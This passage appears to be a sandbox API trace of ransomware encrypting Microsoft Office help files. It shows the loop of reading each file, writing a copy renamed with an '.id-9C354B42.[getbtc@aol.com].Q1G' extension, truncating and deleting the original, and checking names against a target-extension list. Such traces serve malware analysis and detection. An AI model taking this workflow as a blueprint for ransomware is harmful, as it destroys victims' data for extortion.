SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_K_COL.HXK.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0256.453] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj.dev_k_col.hxk")) returned 1 [0256.454] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_K_COL.HXK") returned 69 [0256.454] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_K_COL.HXK") returned 69 [0256.454] lstrlenW (lpString=".doc") returned 4 [0256.454] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0256.454] lstrlenW (lpString=".docx") returned 5 [0256.454] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0256.454] lstrlenW (lpString=".pdf") returned 4 [0256.454] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0256.454] lstrlenW (lpString=".xls") returned 4 [0256.454] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0256.454] lstrlenW (lpString=".xlsx") returned 5 [0256.454] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0256.454] lstrlenW (lpString=".ppt") returned 4 [0256.454] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0256.454] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_K_COL.HXK") returned 69 [0256.454] lstrlenW (lpString=".zip") returned 4 [0256.454] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0256.454] lstrlenW (lpString=".rar") returned 4 [0256.454] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0256.454] lstrlenW (lpString=".bz2") returned 4 [0256.455] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0256.455] lstrlenW (lpString=".7z") returned 3 [0256.455] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0256.455] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_K_COL.HXK") returned 69 [0256.455] lstrlenW (lpString=".dbf") returned 4 [0256.455] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0256.455] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_K_COL.HXK") returned 69 [0256.455] lstrlenW (lpString=".1cd") returned 4 [0256.455] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0256.455] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_K_COL.HXK") returned 69 [0256.455] lstrlenW (lpString=".jpg") returned 4 [0256.455] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0256.455] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_K_COL.HXK") returned 69 [0256.455] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_K_COL.HXK") returned 69 [0256.455] lstrlenW (lpString=".doc") returned 4 [0256.455] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0256.455] lstrlenW (lpString=".docx") returned 5 [0256.455] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0256.455] lstrlenW (lpString=".pdf") returned 4 [0256.455] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0256.455] lstrlenW (lpString=".xls") returned 4 [0256.455] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0256.455] lstrlenW (lpString=".xlsx") returned 5 [0256.455] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0256.455] lstrlenW (lpString=".ppt") returned 4 [0256.455] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0256.455] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_K_COL.HXK") returned 69 [0256.455] lstrlenW (lpString=".zip") returned 4 [0256.455] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0256.455] lstrlenW (lpString=".rar") returned 4 [0256.456] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0256.456] lstrlenW (lpString=".bz2") returned 4 [0256.456] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0256.456] lstrlenW (lpString=".7z") returned 3 [0256.456] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0256.456] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_K_COL.HXK") returned 69 [0256.456] lstrlenW (lpString=".dbf") returned 4 [0256.456] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0256.456] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_K_COL.HXK") returned 69 [0256.456] lstrlenW (lpString=".1cd") returned 4 [0256.456] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0256.456] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_K_COL.HXK") returned 69 [0256.456] lstrlenW (lpString=".jpg") returned 4 [0256.456] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0256.456] lstrcmpiW (lpString1=".HXS", lpString2=".Q1G") returned -1 [0256.456] lstrlenW (lpString="WINPROJ.HXS") returned 11 [0256.456] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj.hxs"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0256.457] GetFileSizeEx (in: hFile=0x3bc, lpFileSize=0x2ddff1c | out: lpFileSize=0x2ddff1c*=1475590) returned 1 [0256.457] CloseHandle (hObject=0x3bc) returned 1 [0256.457] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj.hxs")) returned 0x20 [0256.457] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.HXS.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj.hxs.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0256.457] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj.hxs"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0256.458] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0256.458] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0256.458] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.HXS.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj.hxs.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0256.458] GetLastError () returned 0x0 [0256.458] ReadFile (in: hFile=0x3bc, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0xffff0, lpOverlapped=0x0) returned 1 [0256.815] WriteFile (in: hFile=0x20c, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0xffff0, lpOverlapped=0x0) returned 1 [0256.941] ReadFile (in: hFile=0x3bc, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0x68416, lpOverlapped=0x0) returned 1 [0256.954] WriteFile (in: hFile=0x20c, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0x68420, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0x68420, lpOverlapped=0x0) returned 1 [0256.964] ReadFile (in: hFile=0x3bc, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0x0, lpOverlapped=0x0) returned 1 [0256.964] WriteFile (in: hFile=0x20c, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0xea, lpOverlapped=0x0) returned 1 [0256.964] SetEndOfFile (hFile=0x20c) returned 1 [0256.964] CloseHandle (hObject=0x20c) returned 1 [0257.021] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0257.021] SetEndOfFile (hFile=0x3bc) returned 1 [0257.067] CloseHandle (hObject=0x3bc) returned 1 [0257.067] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.HXS.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0257.070] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj.hxs")) returned 1 [0257.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.HXS") returned 59 [0257.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.HXS") returned 59 [0257.070] lstrlenW (lpString=".doc") returned 4 [0257.071] lstrcmpiW (lpString1=".doc", lpString2=".HXS") returned -1 [0257.071] lstrlenW (lpString=".docx") returned 5 [0257.071] lstrcmpiW (lpString1=".docx", lpString2="J.HXS") returned -1 [0257.071] lstrlenW (lpString=".pdf") returned 4 [0257.071] lstrcmpiW (lpString1=".pdf", lpString2=".HXS") returned 1 [0257.071] lstrlenW (lpString=".xls") returned 4 [0257.071] lstrcmpiW (lpString1=".xls", lpString2=".HXS") returned 1 [0257.071] lstrlenW (lpString=".xlsx") returned 5 [0257.071] lstrcmpiW (lpString1=".xlsx", lpString2="J.HXS") returned -1 [0257.071] lstrlenW (lpString=".ppt") returned 4 [0257.071] lstrcmpiW (lpString1=".ppt", lpString2=".HXS") returned 1 [0257.071] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.HXS") returned 59 [0257.071] lstrlenW (lpString=".zip") returned 4 [0257.071] lstrcmpiW (lpString1=".zip", lpString2=".HXS") returned 1 [0257.071] lstrlenW (lpString=".rar") returned 4 [0257.071] lstrcmpiW (lpString1=".rar", lpString2=".HXS") returned 1 [0257.071] lstrlenW (lpString=".bz2") returned 4 [0257.071] lstrcmpiW (lpString1=".bz2", lpString2=".HXS") returned -1 [0257.071] lstrlenW (lpString=".7z") returned 3 [0257.071] lstrcmpiW (lpString1=".7z", lpString2="HXS") returned -1 [0257.071] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.HXS") returned 59 [0257.071] lstrlenW (lpString=".dbf") returned 4 [0257.071] lstrcmpiW (lpString1=".dbf", lpString2=".HXS") returned -1 [0257.071] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.HXS") returned 59 [0257.071] lstrlenW (lpString=".1cd") returned 4 [0257.071] lstrcmpiW (lpString1=".1cd", lpString2=".HXS") returned -1 [0257.071] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.HXS") returned 59 [0257.071] lstrlenW (lpString=".jpg") returned 4 [0257.071] lstrcmpiW (lpString1=".jpg", lpString2=".HXS") returned 1 [0257.071] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.HXS") returned 59 [0257.071] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.HXS") returned 59 [0257.071] lstrlenW (lpString=".doc") returned 4 [0257.071] lstrcmpiW (lpString1=".doc", lpString2=".HXS") returned -1 [0257.071] lstrlenW (lpString=".docx") returned 5 [0257.072] lstrcmpiW (lpString1=".docx", lpString2="J.HXS") returned -1 [0257.072] lstrlenW (lpString=".pdf") returned 4 [0257.072] lstrcmpiW (lpString1=".pdf", lpString2=".HXS") returned 1 [0257.072] lstrlenW (lpString=".xls") returned 4 [0257.072] lstrcmpiW (lpString1=".xls", lpString2=".HXS") returned 1 [0257.072] lstrlenW (lpString=".xlsx") returned 5 [0257.072] lstrcmpiW (lpString1=".xlsx", lpString2="J.HXS") returned -1 [0257.072] lstrlenW (lpString=".ppt") returned 4 [0257.072] lstrcmpiW (lpString1=".ppt", lpString2=".HXS") returned 1 [0257.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.HXS") returned 59 [0257.072] lstrlenW (lpString=".zip") returned 4 [0257.072] lstrcmpiW (lpString1=".zip", lpString2=".HXS") returned 1 [0257.072] lstrlenW (lpString=".rar") returned 4 [0257.072] lstrcmpiW (lpString1=".rar", lpString2=".HXS") returned 1 [0257.072] lstrlenW (lpString=".bz2") returned 4 [0257.072] lstrcmpiW (lpString1=".bz2", lpString2=".HXS") returned -1 [0257.072] lstrlenW (lpString=".7z") returned 3 [0257.072] lstrcmpiW (lpString1=".7z", lpString2="HXS") returned -1 [0257.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.HXS") returned 59 [0257.072] lstrlenW (lpString=".dbf") returned 4 [0257.072] lstrcmpiW (lpString1=".dbf", lpString2=".HXS") returned -1 [0257.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.HXS") returned 59 [0257.072] lstrlenW (lpString=".1cd") returned 4 [0257.072] lstrcmpiW (lpString1=".1cd", lpString2=".HXS") returned -1 [0257.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.HXS") returned 59 [0257.072] lstrlenW (lpString=".jpg") returned 4 [0257.072] lstrcmpiW (lpString1=".jpg", lpString2=".HXS") returned 1 [0257.072] lstrcmpiW (lpString1=".HXK", lpString2=".Q1G") returned -1 [0257.072] lstrlenW (lpString="WINWORD_F_COL.HXK") returned 17 [0257.072] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword_f_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0257.073] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x2ddff1c | out: lpFileSize=0x2ddff1c*=114) returned 1 [0257.073] CloseHandle (hObject=0x390) returned 1 [0257.073] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword_f_col.hxk")) returned 0x20 [0257.073] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_F_COL.HXK.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword_f_col.hxk.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0257.073] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword_f_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0257.074] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0257.074] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0257.074] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_F_COL.HXK.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword_f_col.hxk.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0257.074] GetLastError () returned 0x0 [0257.074] ReadFile (in: hFile=0x390, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0x72, lpOverlapped=0x0) returned 1 [0257.075] WriteFile (in: hFile=0x3e0, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0x80, lpOverlapped=0x0) returned 1 [0257.076] ReadFile (in: hFile=0x390, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0x0, lpOverlapped=0x0) returned 1 [0257.076] WriteFile (in: hFile=0x3e0, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0xf6, lpOverlapped=0x0) returned 1 [0257.076] SetEndOfFile (hFile=0x3e0) returned 1 [0257.076] CloseHandle (hObject=0x3e0) returned 1 [0257.076] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0257.076] SetEndOfFile (hFile=0x390) returned 1 [0257.078] CloseHandle (hObject=0x390) returned 1 [0257.078] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_F_COL.HXK.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0257.079] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword_f_col.hxk")) returned 1 [0257.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_F_COL.HXK") returned 65 [0257.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_F_COL.HXK") returned 65 [0257.079] lstrlenW (lpString=".doc") returned 4 [0257.079] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0257.079] lstrlenW (lpString=".docx") returned 5 [0257.080] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0257.080] lstrlenW (lpString=".pdf") returned 4 [0257.080] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0257.080] lstrlenW (lpString=".xls") returned 4 [0257.080] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0257.080] lstrlenW (lpString=".xlsx") returned 5 [0257.080] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0257.080] lstrlenW (lpString=".ppt") returned 4 [0257.080] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0257.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_F_COL.HXK") returned 65 [0257.080] lstrlenW (lpString=".zip") returned 4 [0257.080] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0257.080] lstrlenW (lpString=".rar") returned 4 [0257.080] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0257.080] lstrlenW (lpString=".bz2") returned 4 [0257.080] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0257.080] lstrlenW (lpString=".7z") returned 3 [0257.080] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0257.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_F_COL.HXK") returned 65 [0257.080] lstrlenW (lpString=".dbf") returned 4 [0257.080] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0257.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_F_COL.HXK") returned 65 [0257.080] lstrlenW (lpString=".1cd") returned 4 [0257.080] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0257.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_F_COL.HXK") returned 65 [0257.080] lstrlenW (lpString=".jpg") returned 4 [0257.080] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0257.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_F_COL.HXK") returned 65 [0257.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_F_COL.HXK") returned 65 [0257.080] lstrlenW (lpString=".doc") returned 4 [0257.080] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0257.080] lstrlenW (lpString=".docx") returned 5 [0257.080] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0257.080] lstrlenW (lpString=".pdf") returned 4 [0257.080] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0257.081] lstrlenW (lpString=".xls") returned 4 [0257.081] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0257.081] lstrlenW (lpString=".xlsx") returned 5 [0257.081] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0257.081] lstrlenW (lpString=".ppt") returned 4 [0257.081] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0257.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_F_COL.HXK") returned 65 [0257.081] lstrlenW (lpString=".zip") returned 4 [0257.081] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0257.081] lstrlenW (lpString=".rar") returned 4 [0257.081] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0257.081] lstrlenW (lpString=".bz2") returned 4 [0257.081] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0257.081] lstrlenW (lpString=".7z") returned 3 [0257.081] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0257.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_F_COL.HXK") returned 65 [0257.081] lstrlenW (lpString=".dbf") returned 4 [0257.081] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0257.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_F_COL.HXK") returned 65 [0257.081] lstrlenW (lpString=".1cd") returned 4 [0257.081] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0257.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_F_COL.HXK") returned 65 [0257.081] lstrlenW (lpString=".jpg") returned 4 [0257.081] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0257.081] lstrcmpiW (lpString1=".HXK", lpString2=".Q1G") returned -1 [0257.081] lstrlenW (lpString="WINWORD_K_COL.HXK") returned 17 [0257.081] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword_k_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0257.082] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x2ddff1c | out: lpFileSize=0x2ddff1c*=113) returned 1 [0257.082] CloseHandle (hObject=0x390) returned 1 [0257.082] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword_k_col.hxk")) returned 0x20 [0257.082] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_K_COL.HXK.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword_k_col.hxk.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0257.082] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword_k_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0257.082] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0257.082] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0257.082] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_K_COL.HXK.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword_k_col.hxk.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0257.083] GetLastError () returned 0x0 [0257.083] ReadFile (in: hFile=0x390, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0x71, lpOverlapped=0x0) returned 1 [0257.084] WriteFile (in: hFile=0x3e0, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0x80, lpOverlapped=0x0) returned 1 [0257.085] ReadFile (in: hFile=0x390, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0x0, lpOverlapped=0x0) returned 1 [0257.085] WriteFile (in: hFile=0x3e0, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0xf6, lpOverlapped=0x0) returned 1 [0257.085] SetEndOfFile (hFile=0x3e0) returned 1 [0257.085] CloseHandle (hObject=0x3e0) returned 1 [0257.085] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0257.085] SetEndOfFile (hFile=0x390) returned 1 [0257.087] CloseHandle (hObject=0x390) returned 1 [0257.087] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_K_COL.HXK.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0257.088] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_K_COL.HXK" (normalized: 